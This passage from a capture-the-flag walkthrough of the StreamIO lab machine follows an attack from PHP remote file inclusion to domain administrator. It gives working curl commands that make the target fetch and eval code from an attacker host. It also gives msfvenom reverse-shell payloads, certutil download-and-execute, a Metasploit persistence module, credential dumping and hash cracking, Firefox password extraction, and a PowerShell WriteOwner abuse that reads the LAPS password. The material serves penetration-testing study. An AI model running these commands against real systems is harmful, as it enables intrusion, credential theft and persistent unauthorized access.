value="Delete"></form></div></div></div><?php} # while end?><br><hr><br><form method="POST"><input name="include" hidden></form><?phpif(isset($_POST['include'])){if($_POST['include'] !=="index.php" ) eval(file_get_contents($_POST['include']));elseecho(" ---- ERROR ---- ");}?>
Let's also get the index.php file by running https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=index.php:
We get some credentials to the STREAMIO database: db_admin:B1@hx31234567890.
Foothold
Importantly, the index.php script sets included to true (define('included',true);), which means if we set the debug GET parameter to master.php it will not die immediately since the !defined('included') check will pass.
It will execute the contents of the file path (file_get_contents documentation) passed in through a POST parameter called include... as long as the included variable is true, which it will be if index.php excutes before master.php. So, if we POST to https://streamio.htb/admin/index.php?debug=master.php we can specify an include with a file path to execute. By the way, making a POST request with GET parameters is okay.
file_get_contents can make a web request according to the documentation:
So, let's start a webserver with python -m http.server 8000 and create a file called exploit with the contents echo(system("dir"));. Then, we can make the POST request with curl --insecure -b "PHPSESSID=95aolvr8otpu56btshfqv66f2a" -X POST --data "include=http://10.10.14.98:8000/exploit" https://streamio.htb/admin/index.php\?debug\=master.php | grep "<input name=\"include\" hidden>" -A 9999:
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 335k 100 335k 100 39 748k 87 --:--:-- --:--:-- --:--:-- 750k
<input name="include" hidden>
</form>
Volume in drive C has no label.
Volume Serial Number is A381-2B63
Directory of C:\inetpub\streamio.htb\admin
02/22/2022 03:49 AM <DIR> .
02/22/2022 03:49 AM <DIR> ..
02/22/2022 03:49 AM <DIR> css
02/22/2022 03:49 AM <DIR> fonts
02/22/2022 03:49 AM <DIR> images
06/03/2022 01:51 AM 2,401 index.php
02/22/2022 04:19 AM <DIR> js
06/03/2022 01:53 AM 3,055 master.php
02/23/2022 03:16 AM 878 movie_inc.php
02/23/2022 03:16 AM 936 staff_inc.php
02/23/2022 03:16 AM 879 user_inc.php
5 File(s) 8,149 bytes
6 Dir(s) 7,143,124,992 bytes free
6 Dir(s) 7,143,124,992 bytes free </div>
</center>
</body>
</html>
We get a directory listing! We can execute commands!
We will use Metasploit to get a reverse shell (other reverse shell options). Create PHP payload by running msfvenom -p php/meterpreter_reverse_tcp LHOST=tun0 LPORT=38121 -f raw > shell.php.
Then, run the following commands to start the Metasploit listener:
$ sudo msfconsole
msf6 > use exploit/multi/handler
msf6 > options
msf6 > set payload php/meterpreter_reverse_tcp
msf6 > options
msf6 > set LHOST tun0
msf6 > set LPORT 38121
msf6 > run
Next, start the webserver with python -m http.server 8000 so PHP can download our shell.php file. Finally, run the POST request with curl --insecure -b "PHPSESSID=95aolvr8otpu56btshfqv66f2a" -X POST --data "include=http://10.10.14.98:8000/shell.php" https://streamio.htb/admin/index.php\?debug\=master.php. When the POST request is sent, PHP will read the contents of http://10.10.14.98:8000/shell.php and run eval on them, giving us a meterpreter session.
You can switch back to the Metasploit shell by running background and then switch back to the meterpreter using sessions -i 1.
This shell keeps crashing, so are going to try a different method. Create a meterpreter executable with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.98 LPORT=38122 -f exe > exploit.exe. Then, in our exploit file paste in system("certutil.exe -urlcache -f http://10.10.14.98:8000/exploit.exe C:\\windows\\temp\\exploit.exe");, which is a command that will download our newly create meterpreter exploit.exe. Then, send off a POST request with curl --insecure -b "PHPSESSID=95aolvr8otpu56btshfqv66f2a" -X POST --data "include=http://10.10.14.98:8000/exploit" https://streamio.htb/admin/index.php\?debug\=master.php:
Now, we just need to execute that program. So, edit the exploit file again and replace its contents with system("C:\\windows\\temp\\exploit.exe"); to run the program. Make sure the webserver is still running (python -m http.server 8000). Start a Metasploit listener by running the following commands:
$ sudo msfconsole
msf6 > use exploit/multi/handler
msf6 > set payload windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST tun0
msf6 > set LPORT 38122
msf6 > run
Then, send the POST request again: curl --insecure -b "PHPSESSID=95aolvr8otpu56btshfqv66f2a" -X POST --data "include=http://10.10.14.98:8000/exploit" https://streamio.htb/admin/index.php\?debug\=master.ph.
Ger persistance by running the following:
background
msf6 > use exploit/windows/local/persistence
msf6 > set DELAY 60
msf6 > set SESSION 3
msf6 > set LHOST tun0
msf6 > set LPORT 59029
run
This will output the following:
[*] Running persistent module against DC via session ID: 3
[+] Persistent VBS script written on DC to C:\Windows\TEMP\pIEzlxOGXTTFd.vbs
[*] Installing as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\DwXCpDwC
[-] Failed to make entry in the registry for persistence
We need higher privileges so maybe we can do this later.
Upload WinPEAS with upload tools/winPEASx64.exe. Create a shell with shell in the meterpreter and then type winPEASx64.exe log to run WinPEAS. The log option redirects all output to out.txt, which is useful since it winPEAS will print 10,000+ lines of output in this scenario. You can download the report by running download out.txt form the meterpreter (exit the shell first by running exit): winpeas_report_yoshihide.txt. Read the report with less -r winpeas_report_yoshihide.txt.
We got some information about other users:
Computer Name : DC
User Name : JDgodd
User Id : 1104
Is Enabled : True
User Type : User
Comment :
Last Logon : 2/26/2022 10:17:08 AM
Logons Count : 8
Password Last Set : 2/22/2022 2:56:42 AM
=================================================================================================
Computer Name : DC
User Name : Martin
User Id : 1105
Is Enabled : True
User Type : Administrator
Comment :
Last Logon : 7/29/2022 7:58:39 PM
Logons Count : 77
Password Last Set : 5/26/2022 4:16:42 PM
=================================================================================================
Computer Name : DC
User Name : nikk37
User Id : 1106
Is Enabled : True
User Type : User
Comment :
Last Logon : 2/22/2022 2:39:51 AM
Logons Count : 3
Password Last Set : 2/22/2022 2:57:16 AM
From the "Current TCP Listening Ports" we can figure out that the SQL server port is 1433:
We got some credentials for the database from dumping the source of the website: db_admin:B1@hx31234567890. Let's try to authenticate to the database with those credentials and see if we can find anything. HackTricks has information about enumerating MS SQL if you have credentials.
In the meterpreter session we can forward the port to our attacker machine with portfwd add -l 1433 -p 1433 -r localhost.
Then, we ca try one of the methods from HackTricks for connecting to the database. I first tried sqsh -S localhost -U db_admin -P B1@hx31234567890 -D streamio_backup, which worked but it seemed complicated. So, I tried sqlmap -d mssql://db_admin:B1@hx31234567890@localhost:1433/streamio_backup --dump, which couldn't deal with the @ in the password. I ended up using impacket's mssqlclient.py.
$ python3 examples/mssqlclient.py 'db_admin:B1@hx31234567890'@127.0.0.1 -port 1433
Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC): Line 1: Changed database context to 'master'.
[*] INFO(DC): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL> SELECT name FROM master.dbo.sysdatabases
name
--------------------------------------------------------------------------------------------------------------------------------
master
tempdb
model
msdb
STREAMIO
streamio_backup
SQL> use streamio_backup;
[*] ENVCHANGE(DATABASE): Old Value: streamio_backup, New Value: streamio_backup
[*] INFO(DC): Line 1: Changed database context to 'streamio_backup'.
SQL> SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE='BASE TABLE' (command from https://stackoverflow.com/a/175446)
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
-------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------------------------- ----------
streamio_backup dbo movies b'BASE TABLE'
streamio_backup dbo users b'BASE TABLE'
SQL> select * from users;
id username password
----------- -------------------------------------------------- --------------------------------------------------
1 nikk37 389d14cb8e4e9b94b137deb1caf0612a
2 yoshihide b779ba15cedfd22a023c4d8bcf5f2332
3 James c660060492d9edcaa8332d89c99c9239
4 Theodore 925e5408ecb67aea449373d668b7359e
5 Samantha 083ffae904143c4796e464dac33c1f7d
6 Lauren 08344b85b329d7efd611b7a7743e8a09
7 William d62be0dc82071bccc1322d64ec5b6c51
8 Sabrina f87d3c0d6c8fd686aacc6627f1f493a5
This gives us a new user, nikk37, and their hash, 389d14cb8e4e9b94b137deb1caf0612a. Putting this into CrackStation gives us a password of get_dem_girls2@yahoo.com.
Trying those credentials with evil-winrm works: evil-winrm -u nikk37 -p get_dem_girls2@yahoo.com -i streamio.htb
We can now run cat C:\Users\nikk37\Desktop\user.txt and finally get the user.txt flag.
Lateral Movement
Upload WinPEAS with upload tools/winPEASx64.exe in evil-winrm and then run it with .\winPEASx64.exe log. Download the output with download out.txt: winpeas_report_nikk37.txt. Read the report with less -r winpeas_report_nikk37.txt.
We get some good output:
╔══════════╣ Looking for Firefox DBs
╚ https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history
Firefox credentials file exists at C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db
╚ Run SharpWeb (https://github.com/djhohnstein/SharpWeb)
Running the suggested tool, SharpWeb finding nothing:
Download C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db and C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\logins.json to the same directory as firepwn and then run python firepwd.py:
We have several new credentials and a new virtual host. Let's add the slack.streamio.htb domain to /etc/hosts: echo "10.10.11.158 slack.streamio.htb" | sudo tee -a /etc/hosts.
Let's fuzz for directories: ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u https://slack.streamio.htb/FUZZ, which finds nothing. Checking for php files also finds nothing.
We can check if we have a valid set of credentials by putting our current usernames (JDgodd, Martin, nikk37) in a file called users.txt and passwords in a file called passwords.txt, and then running crackmapexec smb streamio.htb -u users.txt -p passwords.txt (relevant documentation, GitHub repo):
SMB streamIO.htb 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:False)
SMB streamIO.htb 445 DC [+] streamIO.htb\JDgodd:JDg0dd1s@d0p3cr3@t0r
So, we know that JDgodd:JDg0dd1s@d0p3cr3@t0r is a valid login, but it won't work with evil-winrm.
Privilege Escalation
Let's scan the machine using BloodHound: "BloodHound is a single page Javascript web application, built on top of Linkurious, compiled with Electron, with a Neo4j database fed by a C# data collector. BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory or Azure environment. Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify."
BloodHound only analyzes data though. We need to use SharpHound (download) to collect data. There are other data collectors but SharpHound is the only officially support collector.
Upload SharpHound.exe and run it:
*Evil-WinRM* PS C:\Users\nikk37\Documents> .\SharpHound.exe
2022-07-29T23:35:16.1106010-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2022-07-29T23:35:16.1106010-07:00|INFORMATION|Initializing SharpHound at 11:35 PM on 7/29/2022
2022-07-29T23:35:16.2980659-07:00|INFORMATION|Flags: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2022-07-29T23:35:16.4699508-07:00|INFORMATION|Beginning LDAP search for streamIO.htb
2022-07-29T23:35:16.5012185-07:00|INFORMATION|Producer has finished, closing LDAP channel
2022-07-29T23:35:16.5012185-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2022-07-29T23:35:47.1823776-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 35 MB RAM
2022-07-29T23:36:06.1964563-07:00|INFORMATION|Consumers finished, closing output channel
2022-07-29T23:36:06.2277058-07:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2022-07-29T23:36:06.4777324-07:00|INFORMATION|Status: 97 objects finished (+97 1.94)/s -- Using 40 MB RAM
2022-07-29T23:36:06.4777324-07:00|INFORMATION|Enumeration finished in 00:00:50.0253494
2022-07-29T23:36:06.6027039-07:00|INFORMATION|SharpHound Enumeration Completed at 11:36 PM on 7/29/2022! Happy Graphing!
To get BloodHound setup, you can follow this guide. Then, just download the zip file (20220729233606_BloodHound.zip) from the machine and drag and drop it onto the BloodHound interface. Then, on the Analysis tab, choose "Shortest Paths to High Value Targets."
The important part is this region:
From this graph, we can see that the JDgodd user has WriteOwner permissions on the CORE_STAFF group, and that group has the ability to read the LAPS password.
According to HackTricks, "LAPS allows you to manage the local Administrator password (which is randomised, unique, and changed regularly) on domain-joined computers. These passwords are centrally stored in Active Directory and restricted to authorised users using ACLs. Passwords are protected in transit from the client to the server using Kerberos v5 and AES."
According to HackTrick's Active Directory Methodology, "Some of the Active Directory object permissions and types that we as attackers are interested in: WriteOwner - change object owner to attacker controlled user take over the object." This page is also helpful: "Active Directory objects such as users and groups are securable objects and DACL/ACEs define who can read/modify those objects (i.e change account name, reset password, etc). The WriteOwner permission can be abused by an attacker to change the object owner to an attacker controlled user and take over the object."
Additionally, according to this article about WriteOwner, "The Source security principal has the permission to change the owner of the Target object, including assigning themselves as the owner. Owners have implicit rights, "Read Control" and "Write DACL", that allow them to obtain additional rights for themselves or for someone else, and ultimately compromise the Target object."
So, the attack idea is to add JDgodd to the CORE_STAFF using the JDgodd user, since he owns that group but is not yet a member of it. Once JDgodd is in the CORE_STAFF group, they will be able to read the LAPS password and we can use that to get Administrator.
# Define clear text string for username and password[string]$userName ='STREAMIO\JDgodd'[string]$userPassword ='JDg0dd1s@d0p3cr3@t0r'# Convert to SecureString[securestring]$secStringPassword =ConvertTo-SecureString $userPassword -AsPlainText -Force# Create PSCredential[pscredential]$credObject =New-Object System.Management.Automation.PSCredential ($userName, $secStringPassword)# Give JDgodd all rights on the "Core Staff" groupAdd-DomainObjectAcl-TargetIdentity "Core Staff"-PrincipalIdentity $userName -Rights All -Credential $credObject# Add JDgodd as a member of the "Core Staff" groupAdd-DomainGroupMember-Identity "Core Staff"-Members "STREAMIO\JDgodd"-Credential $credObject# Dump the LAPS password as JDgoddGet-ADComputer-Filter *-Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime -Credential $credObject
With the local Administrator password c5LUR48;CYA8Y1, we can use evil-winrm to connect as the Adminstrator: evil-winrm -u Administrator -p "c5LUR48;CYA8Y1" -i streamio.htb.
The root.txt flag is not located at C:\Users\Administrator\Desktop\root.txt, but we remember from before that there is another admin called Martin. Sure enough we get the root.txt flag with cat C:\Users\Martin\Desktop\root.txt.